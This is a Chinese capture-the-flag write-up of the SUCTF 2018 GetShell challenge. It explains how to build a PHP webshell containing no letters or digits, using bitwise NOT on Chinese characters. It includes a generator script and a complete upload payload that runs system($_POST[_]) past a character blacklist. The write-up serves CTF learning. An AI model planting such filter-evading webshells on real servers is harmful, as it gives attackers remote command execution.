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前言：

这道题考察的是构造无字母数字的webshell,也挺有趣，被卡了一天了，还有看了网上的WP，千篇一律，所以很有必要记录一
下。

[SUCTF 2018]GetShell

直接给出源码

<?php
if($contents=file_get_contents($_FILES["file"]["tmp_name"])){
    $data=substr($contents,5);
    foreach ($black_char as $b) {
        if (stripos($data, $b) !== false){
            die("illegal char");
        }
    }     
} 

分析一下，先读取所上传文件的内容，然后将第六位之后的内容赋值给 data变量，再通过变量来进行匹配看所上传的内容中是

否有 black_char ,如果有则返回 illegal char。
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所以现在就有一个问题，不知道 black_char中到底包含了什么，所以需要进行Fuzz，既然前五位是要截取的，所以前五位可以
随便输入，测试过程中发现数字、字母全被禁了，唯独这几个特殊符号没有被禁 $ ( ) [ ] _ ~

但是很奇怪，这题既然已经提示了写shell而且已经过滤了字母和数字，按道理说应该是不会过滤 .拼接符和 ;这两个符号的，要

不然没办法写payload了，观察之后发现，这两个符号被编码了，而%是被过滤的，所以没有检测出来。

所以手动测试了一下，发现 ;和.确实没有被过滤，其他的都被过滤掉了。

既然已经确定以下字符没有被过滤，便可以利用这几个字符来构造exp

$ ( ) [ ] _ ~ ; .



有取反的符号，所以就往这方面考虑下，常见的就是取反编码绕过或是和汉字结合使用，这道题肯定编码没办法用了，尝试一下

汉字的。

可以通过这样的方式来构造出想要的payload，放一下 V0n师傅的脚本

<?php
header("Content-type:text/html;charset=utf-8");
$shell = "eval";
$result = "";
$arr =array();
$word = "一乙二十丁厂七卜人入八九几儿了力乃刀又三于干亏士工土才寸下大丈与万上小口巾山千乞川亿个勺久凡及夕丸么广亡门义之尸弓己
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腻腮腺鹏肄猿颖煞雏馍馏禀痹廓痴靖誊漓溢溯溶滓溺寞窥窟寝褂裸谬媳嫉缚缤剿赘熬赫蔫摹蔓蔗蔼熙蔚兢榛榕酵碟碴碱碳辕辖雌墅嘁踊蝉嘀幔镀舔

熏箍箕箫舆僧孵瘩瘟彰粹漱漩漾慷寡寥

谭褐褪隧嫡缨撵撩撮撬擒墩撰鞍蕊蕴樊樟橄敷豌醇磕磅碾憋嘶嘲嘹蝠蝎蝌蝗蝙嘿幢镊镐稽篓膘鲤鲫褒瘪瘤瘫凛澎潭潦澳潘澈澜澄憔懊憎翩褥谴鹤憨

履嬉豫缭撼擂擅蕾薛薇擎翰噩橱橙瓢蟥

霍霎辙冀踱蹂蟆螃螟噪鹦黔穆篡篷篙篱儒膳鲸瘾瘸糙燎濒憾懈窿缰壕藐檬檐檩檀礁磷了瞬瞳瞪曙蹋蟋蟀嚎赡镣魏簇儡徽爵朦臊鳄糜癌懦豁臀藕藤瞻

嚣鳍癞瀑襟璧戳攒孽蘑藻鳖蹭蹬簸簿蟹

靡癣羹鬓攘蠕巍鳞糯譬霹躏髓蘸镶瓤矗";
function mb_str_split( $string ) {
    return preg_split('/(?<!^)(?!$)/u', $string ); 
}
foreach (mb_str_split($word) as $c)
{
    $arr[] = $c;
}

for ($x=0;$x<strlen($shell);$x++)
{
    for ($y=0;$y<count($arr);$y++)
    {
        $k = $arr[$y];
        if ($shell[$x] == ~($k{1}))
        {
            $result .= $k;
            break;
        }
    }



    }
}
echo $result;

原理就不再叙述，在$shell里填写相要构造的字符即可，还有一点要注意的是

脚本中是汉字{1}的结果进行取反，也可以修改为2，但是在拼凑的时候会麻烦一些

system 对应的汉字{1}为 区冈区勺皮针
_POST  对应的汉字{1}为 码寸小欠立

既然汉字已经出来了，下面就是拼接的过程。

$_=[]; //array
$__=$_.$_; /arrayarray
$_=($_==$__);//$_=(array==arrayarray) false 0
$__=($_==$_);//$__=(array==array) true 1

$___=~区[$__].~冈[$__].~区[$__].~勺[$__].~皮[$__].~针[$__];//system
$____=~码[$__].~寸[$__].~小[$__].~欠[$__].~立[$__];//_POST

$___($$____[_]);//system($_POST[_]);

先将这段代码写入一个php文件中，这里需要注意的是空格被过滤了，所以要写在一行，而且 ? >也被过滤了，所以结尾不能加

上 ?>，而且这里也不能使用 <?php ,因为常规的写法是 <?php xxx，第6个字符刚好是空格，所以就要考虑用PHP中的另外一个
短标签 <?= ,完整payload如下：

<?=$_=[];$__=$_.$_;$_=($_==$__);$__=($_==$_);$___=~区[$__].~冈[$__].~区[$__].~勺[$__].~皮[$__].~针[$__];$____=~码
[$__].~寸[$__].~小[$__].~欠[$__].~立[$__];$___($$____[_]);

写进文件上传，再通过参数 _进行传参即可

这里一定要注意编码格式，有的编码格式保存会将特殊字符丢失，所以会造成payload没有问题，但就是执行不了，这里我使用的是UTF-8编码。



这题的flag在环境变量中，可能是配置问题，使用下 env命令即可得出flag。

总结：

这个便是不包含数字和字母构造webshell的其中一种，接下来再继续刷，碰到了再记录，冲冲冲！！！
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